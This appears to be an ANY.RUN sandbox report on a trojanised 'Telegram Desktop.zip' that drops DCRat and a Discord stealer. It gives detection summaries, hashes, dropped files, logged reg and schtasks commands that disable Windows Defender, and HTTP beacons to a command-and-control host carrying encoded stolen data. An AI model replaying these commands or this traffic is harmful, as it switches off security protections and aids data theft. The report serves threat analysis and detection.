File name:

Telegram Desktop.zip

Full analysis: https://app.any.run/tasks/c3692749-966a-4163-85e7-43ed42a973b6
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: March 08, 2024, 19:41:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
stealer
ransomware
rat
backdoor
dcrat
remote
generic
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

311F8E33DE278E9A2A3A09086CB444E1

SHA1:

7D1006C3D39D868DE2540BE2E888CE4C4C35A6D3

SHA256:

D86296CBA8A3752B0D794CE152830A544EC7CD7B64DBCDF2ACA73481CEC59DE9

SSDEEP:

98304:d/jRLcZisO7KOFogtb4Kfcsoc6BfjJRSZWPNqQWnGV6ZaSZNkHKaVANJxZ6K9R3w:LFwHSPgOCQMnR6G7oK3u40zy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 3864)
      • AIO checker 2023.exe (PID: 3500)
      • ms_update.exe (PID: 3276)
      • Checker Zalando.exe (PID: 3224)
      • RtkBtManServ.exe (PID: 1596)

    • Create files in the Startup directory

      • ms_update.exe (PID: 3276)
      • Checker Zalando.exe (PID: 3224)

    • Actions looks like stealing of personal data

      • ms_updater.exe (PID: 848)

    • DCRAT has been detected (SURICATA)

      • ms_updater.exe (PID: 848)

    • Connects to the CnC server

      • ms_updater.exe (PID: 848)

    • Disables Windows Defender

      • reg.exe (PID: 2640)
      • reg.exe (PID: 2308)
      • reg.exe (PID: 784)
      • reg.exe (PID: 2748)
      • reg.exe (PID: 2068)

    • Creates or modifies Windows services

      • reg.exe (PID: 3472)

    • DISCORDGRABBER has been detected (YARA)

      • RtkBtManServ.exe (PID: 1596)
      • Checker Zalando.exe (PID: 3224)

    • WebCam capture utility (NirSoft) is detected

      • bfsvc.exe (PID: 1168)

    • Password recovery utility (NirSoft) for browsers is detected

      • snuvcdsm.exe (PID: 3228)

    • Steals credentials

      • RtkBtManServ.exe (PID: 1596)

    • The tool for viewing Chrome cookies (NirSoft) is detected

      • winhlp32.exe (PID: 3096)

    • The tool for viewing Firefox cookies (NirSoft) is detected

      • splwow64.exe (PID: 2876)

    • The tool for viewing Edge cookies (NirSoft) is detected

      • hh.exe (PID: 1000)

    • Web Browser History Viewer utility (NirSoft) is detected

      • xwizard.exe (PID: 2860)

  • SUSPICIOUS

    • The process creates files with name similar to system file names

      • WinRAR.exe (PID: 2852)

    • Process drops legitimate windows executable

      • WinRAR.exe (PID: 2852)

    • Creates files like ransomware instruction

      • WinRAR.exe (PID: 2852)

    • Executable content was dropped or overwritten

      • AIO checker 2023.exe (PID: 3500)
      • ms_update.exe (PID: 3276)
      • RtkBtManServ.exe (PID: 1596)
      • Checker Zalando.exe (PID: 3224)

    • Reads the Internet Settings

      • AIO checker 2023.exe (PID: 3500)
      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)
      • RtkBtManServ.exe (PID: 1596)

    • Reads security settings of Internet Explorer

      • AIO checker 2023.exe (PID: 3500)
      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)

    • Reads settings of System Certificates

      • ms_updater.exe (PID: 848)
      • RtkBtManServ.exe (PID: 1596)

    • Starts CMD.EXE for commands execution

      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)
      • wscript.exe (PID: 2044)
      • wscript.exe (PID: 1548)
      • wscript.exe (PID: 2064)
      • wscript.exe (PID: 3868)
      • RtkBtManServ.exe (PID: 1596)

    • Executing commands from a ".bat" file

      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)
      • wscript.exe (PID: 3868)
      • wscript.exe (PID: 1548)
      • wscript.exe (PID: 2044)
      • wscript.exe (PID: 2064)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 2176)

    • Creates or modifies Windows services

      • reg.exe (PID: 3492)
      • reg.exe (PID: 2448)
      • reg.exe (PID: 3744)
      • reg.exe (PID: 2268)

    • The process executes VB scripts

      • RtkBtManServ.exe (PID: 1596)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 2052)

    • The executable file from the user directory is run by the CMD process

      • bfsvc.exe (PID: 1168)
      • snuvcdsm.exe (PID: 3228)
      • winhlp32.exe (PID: 3096)
      • splwow64.exe (PID: 2876)
      • hh.exe (PID: 1000)
      • xwizard.exe (PID: 2860)

    • The system shut down or reboot

      • RtkBtManServ.exe (PID: 1596)

  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2852)

    • Manual execution by a user

      • WinRAR.exe (PID: 2852)
      • AIO checker 2023.exe (PID: 3500)
      • CC Checker AcTeam.exe (PID: 2644)
      • Checker Zalando.exe (PID: 3224)

    • Checks supported languages

      • AIO checker 2023.exe (PID: 3500)
      • ms_update.exe (PID: 3276)
      • ms_updater.exe (PID: 848)
      • CC Checker AcTeam.exe (PID: 2644)
      • Checker Zalando.exe (PID: 3224)
      • RtkBtManServ.exe (PID: 1596)

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 2852)

    • Creates files or folders in the user directory

      • AIO checker 2023.exe (PID: 3500)
      • ms_update.exe (PID: 3276)
      • Checker Zalando.exe (PID: 3224)

    • Reads the computer name

      • AIO checker 2023.exe (PID: 3500)
      • ms_update.exe (PID: 3276)
      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)
      • RtkBtManServ.exe (PID: 1596)

    • Reads the machine GUID from the registry

      • ms_update.exe (PID: 3276)
      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)
      • RtkBtManServ.exe (PID: 1596)

    • Reads Environment values

      • ms_updater.exe (PID: 848)
      • RtkBtManServ.exe (PID: 1596)

    • Reads product name

      • ms_updater.exe (PID: 848)

    • Reads the software policy settings

      • ms_updater.exe (PID: 848)
      • RtkBtManServ.exe (PID: 1596)

    • Create files in a temporary directory

      • ms_updater.exe (PID: 848)
      • Checker Zalando.exe (PID: 3224)
      • RtkBtManServ.exe (PID: 1596)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2024:03:08 22:08:54
ZipCRC: 0xee9d007f
ZipCompressedSize: 2018010
ZipUncompressedSize: 2017354
ZipFileName: AIO checker 2023.rar
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
116
Monitored processes
58
Malicious processes
5
Suspicious processes
16

Behavior graph

Click at the process to see the details
start winrar.exe no specs winrar.exe aio checker 2023.exe ms_update.exe ms_updater.exe no specs #DCRAT ms_updater.exe cc checker acteam.exe cmd.exe no specs w32tm.exe no specs #DISCORDGRABBER checker zalando.exe #DISCORDGRABBER rtkbtmanserv.exe cmd.exe reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs wscript.exe no specs cmd.exe no specs bfsvc.exe no specs wscript.exe no specs cmd.exe no specs snuvcdsm.exe no specs wscript.exe no specs cmd.exe no specs winhlp32.exe no specs splwow64.exe no specs hh.exe no specs wscript.exe no specs cmd.exe no specs xwizard.exe no specs shutdown.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
584reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
664reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
752schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /DisableC:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
784reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
848"C:\Users\admin\AppData\Roaming\ms_updater.exe" C:\Users\admin\AppData\Roaming\ms_updater.exe
AIO checker 2023.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\users\admin\appdata\roaming\ms_updater.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
948reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1000C:\Users\admin\AppData\Local\Temp\hh.exe /stext "C:\Users\admin\AppData\Local\Temp\Cookies3"C:\Users\admin\AppData\Local\Temp\hh.exe—cmd.exe
User:
admin
Company:
NirSoft
Integrity Level:
MEDIUM
Description:
EdgeCookiesView
Exit code:
0
Version:
1.17
1124reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤C:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1168C:\Users\admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\admin\AppData\Local\Temp\capture.png"C:\Users\admin\AppData\Local\Temp\bfsvc.exe—cmd.exe
User:
admin
Company:
NirSoft
Integrity Level:
MEDIUM
Description:
WebCamImageSave
Exit code:
3221225547
Version:
1.11
1504schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DisableC:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
20 892
Read events
20 764
Write events
122
Delete events
6

Modification events

(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3864) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Telegram Desktop.zip
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3864) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
21
Suspicious files
8
Text files
19
Unknown types
15

Dropped files

PID
Process
Filename
Type
3864WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3864.39537\Checker Zalando.rar —
MD5:—
SHA256:—
3864WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3864.39537\AIO checker 2023.rarcompressed
MD5:90A345AC93B006DEA131ACA168718391
SHA256:A47BA41E74559A9121C6687FED7BF6CB32EC4659557A1B7D8790D300926A064A
2852WinRAR.exeC:\Users\admin\Desktop\CC Checker AcTeam.exeexecutable
MD5:EF1999D5B9E6552E39F691A3631469B6
SHA256:33489E9AA842320D1175C609EBE01A35645F0D945BAEFD4F4F345A966000EA4A
2852WinRAR.exeC:\Users\admin\Desktop\README.txttext
MD5:229BFB07694F123E2CB4986F47100A62
SHA256:8DF26B1F550C80646F01D25B8AAFCABB1342BBB2BE1CD335CDB8D254BE8C4090
2852WinRAR.exeC:\Users\admin\Desktop\elshyph.dllexecutable
MD5:6886E3F01425562C23467DA967B643FE
SHA256:367322687653B2D0836473FB1B863275E276A5B2AAE5C494FC5F786CF52AB471
2852WinRAR.exeC:\Users\admin\Desktop\dnscmmc.dllexecutable
MD5:BDC7EAD1E9B59A54F61AD53EC7FEFFFB
SHA256:4F64DC86D26FF64F037EEA6FE2E8F7224A8F5988C132EBF617EC6A562080FB01
3500AIO checker 2023.exeC:\Users\admin\AppData\Roaming\ms_updater.exeexecutable
MD5:9195E6C24D5BC6FC15E3720D53021D60
SHA256:22120341BEA07E0830B02CFD910C64D653B102D5BBFCFF89675BB8AB3996A3CA
2852WinRAR.exeC:\Users\admin\Desktop\dmview.ocxexecutable
MD5:9D3D06D04B20C9A61394144DCCF7E54C
SHA256:F11DF95FAE783DDFD452A888BEDAC3B084405CABE20F36BE26000A1738D97C9F
3500AIO checker 2023.exeC:\Users\admin\AppData\Roaming\ms_update.exeexecutable
MD5:1D4ED7311DEA909CC611A87C49BA3C0D
SHA256:05FFEBB5C07F918E31AD85B05118FAE2E8C556F07BCD473EF9047654B123E907
3276ms_update.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System32.exeexecutable
MD5:1D4ED7311DEA909CC611A87C49BA3C0D
SHA256:05FFEBB5C07F918E31AD85B05118FAE2E8C556F07BCD473EF9047654B123E907
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
13
DNS requests
3
Threats
18

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?yie8Ahobes05lQqm5zDn725pEgU6=8ajb&7d2ec6fa11a45062f73c3371e90be2d7=d2bcd0f2865f35a89899afe230c1002a&e95b42d7b0485703d17241e76e2b8585=AM5gzYmdjMklTM3QGNjJjNkdzY1QjYjFTMjhzM5YTN4UGNxgTZ3ITZ&yie8Ahobes05lQqm5zDn725pEgU6=8ajb
unknown
text
2.07 Kb
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&c99321a829dc5e86d2744a321e9e8225=d1nIiBDNxEDOwIDN5QmZiRjNkZDZ5QmM4QDOjVDZ0E2NkdzMyQWY5YGOxIiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W
unknown
text
104 b
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&c99321a829dc5e86d2744a321e9e8225=d1nI0YGO5gjMmZGMjZjYyYmNmFTYhBTOkBjZkNzNhhjYyM2Y1MWMjdzM3IiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W
unknown
text
908 b
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&a05939b54e910a520ed16f4659e1d224=0VfiIiOiIWY3MjM4YDNlhzNyYjYlNWYmBjYjRDO5QzYiNDOykTNiwiIyQjY5MWN5ITMxUGZiFmZhZWMmVmZmRmMhFWNxQzNlJzMmVWZ4AjZhJiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W
unknown
text
104 b
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&60fcc970050c21131ef204c321f6004c=d1nI5oUeaVHbXJGa50WVjhnVZBjRHJ1dChVUjhHbiBXMHpFa4ZEW6pEWapnVGh1YwpXUp9maJ9mUYlVUKNETpRjMkZXNyEWdWxWS2k0QhBjRHV1aKNjYq5EWhVkSDxUaJl2Tpd2RkhmQWJGaKNjWsh3VaVlSDxUaJl2Tp1ESjdnRVJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTSDJlSKhlW6ZlVihmVHRGVKNETp10Mi5GbtN2aG12Ymh3VaBnSulFak1WS2kUajxmTYZFdGdlWw4EbJN3dHJWM102TpNWbihGeVJGaWdEZUp0QMlGMXlFbSNzY21EWaNHbtp1ZwcVW5RmMilnQzwkNN1WS2k0QhBjRHVFdGdlWw4EbJNXSTtkdsdkWxYURJNza6pERGVUSyZ1RkNnRXp1UoNUS1xWRJxWNXFWT1cEW5hXMiBnUXRmQClnT1MWeRJkQ5FGbShkYoZVbV9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiIWY3MjM4YDNlhzNyYjYlNWYmBjYjRDO5QzYiNDOykTNiwiIyQjY5MWN5ITMxUGZiFmZhZWMmVmZmRmMhFWNxQzNlJzMmVWZ4AjZhJiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W
unknown
text
104 b
unknown
848
ms_updater.exe
GET
200
188.114.96.3:80
http://355212cm.nyashnyash.top/nyashsupport.php?VChnrne0pWN6OUvbyLx=2fpnK3MdUTBHs9KC1JD&8Kp0YJjcTuh6rHq0W3cyb=gW&GNOKtkoHImsz=PBTtKkvEZkSUp7qPN7oSeS6VSk&b4ab245d5ee8fea7e77fa9fa30f5388b=2QTOxgzYmZmZxUzYzcDM5IWMmJWZmZDOidDZ3ATYzgTMyIGMzMWNhVDM0MDNyETNyQzN2YjN&e95b42d7b0485703d17241e76e2b8585=QMxkjNmNWZ2YjMyMzN4Y2N0cTZzUzMjRzY0MmZzMjY5YGZiFGM4QTY&c99321a829dc5e86d2744a321e9e8225=d1nI1IDN0E2NlJTZ5IzY5QDMxEDM4QGOkZWOwATMhVjZmBTM1QmZxkDO2IiOiMzMldTNwUzM3ITZyUmMxYWM2gTOkVGM1ITYyETO5UGMiwiIyE2N2ImZ3MDMiVGO3QGZ1cjNiFjN0YGMyUWO3EWM4kDOzQmYyETO5IiOiIGZiRzNhFTO2cTYzYGMkFWYiZWM3IDZlRGM4IWZ0ImYis3W&a05939b54e910a520ed16f4659e1d224=QX9JiI6IiYhdzMygjN0UGO3IjNiV2YhZGMiNGN4kDNjJ2M4ITO1ICLiUjM0QTY3UmMlljMjlDNwETMwgDZ4QmZ5ADMxEWNmZGMxUDZmFTO4YjI6IyMzU2N1ATNzcjMlJTZyEjZxYDO5QWZwUjMhJTM5kTZwICLiITY3YjYmdzMwIWZ4cDZkVzN2IWM2QjZwITZ5cTYxgTO4MDZiJTM5kjI6IiYkJGN3EWM5YzNhNjZwQWYhJmZxcjMkVGZwgjYlRjYiJyes0nIwglZpRzaJZTSD5UakRlWp50VahXTX5keZRUTzE1VPhXTtlFNZdkWwklaapXR61EbKRlT4NmaOh3ZqpFNjR0TpdXaJ9kSp9UaJdVTsRGVZlXTH1kaWRlT0UkaZpGbqp1dFdUTwUlaZpmWH5UNFRlTqxmeOFzYUl1dBpmTpRmaJNXSpRVavpWSs5kaZFTRy4UaSRVWwE1VNdXQEpVNjRVWrpkeZpGaU50dZR0Trp1VNtGaqlFNNdVWtpleOhmSDxUa0sWS2k0UPxGaqp1akRUT0UlMNFTQq5EMNdlWxMmaaRTTXplaad1T6VFVPd3aq1UNF1WT6V0VNBTTHpVa3lWSPpUaPlWWXlFbSJTWykFValXUXl1dJpXTtZ0RapmU6l1aORlTspFVPFTUqp1MZRlTzcGVOdXSH10aG1WSzlUaUl2bql0aspWT6dGVZBzYE5ENBpmWshGVZFTWE9EMFJTW6lkaZBTQq5keZR1T1EERPpGaU1UMR1mTpp0QMlGNrlkNJNkTxkleZlmT6l1aSRlWxUlaOlGaqlVeJRlWzU0VPVTVH1UejpWWtZkeOVTRH90dJJjT1kFVNl2dpl0TKl2TpdmaNtmTX5EMNJTT1UkMZdXRH1EMNd1T3FVbaxmRU1EaCRVT0U0RN1GZE5EbaRVWoZ0RPhXWtl0cJlGVp9maJlmUEpVasRUTqp1VZpGbU5EbORlWx0EVZtmVyk1aGdkW5l1VPh3aUllMZJjTpZlaZpXSt1UbKNETpRzaJZTSppleZdlW5l1RapmWX9ENJ1WW3lERahmRH1EbkpnT000VNlmUt1UenRlTpZEVPRTSU5EMBpWWpdXaJ9kSp9UarRVWopFVNdXVqpVNVJjT0MGRPJTSH9UboRlTxklMNxmRU5UNZRkT0smaNhXWq5UeRRVWs5kaJNXSpRVavpWSspkaaBTQ61kaGRUTs50RaNTV65UeZRVWtJkaaRzZU5kMFJjTphmaNdXSX1UeVpWT6FkaalXSDxUa0sWS2k0UZNTUq50MVR0T1EFVPJTTtpFenpXW4FERadXS65EakpXT6VUbORTVU9EaKd1T1MGVOBTUtlVa3lWSPpUaPlWRUpVMVpWW3VUbOJTRq5ENFdVT1UleOpGbE1UeRpXTyElaZd3YUpFeFpWT5lleOFTQU5UbWpWSzlUaUl2bqlUenpXT00EVOdXQUlVNJdkWtpFRNpGaU90aGRVW0U0Ra1mQqlVbWJTTop0RN1mTXp1aKR1T5l0QMlGNrlkNJNkT4l0RNhmUtl1MRR1TwUFVahXRqpFbOJTT1sGRNJTStpFbCpmW6VFVOlXUt10aKRUT6FkeOl2dpl0TKl2TplFVZlXWt5kMRpXTwUlMN1mWU1UNnRkW5VlaOpmVH9keR1WW4FFVNhmRU1ENRdkTspFVZVTVql0cJlGVp9maJNTVU50aopXTy0EVZh3ZUlFejpWT4VlaatmQE50akRkWphmaNVTTE9keZ1WTopERPpXVy4EMJNETpRzaJZTSD90dF1WWqJERPlXTt5EMVR0Tz0kMZJTSX9UMFRlTwkFRNxmW65UMFd0Ts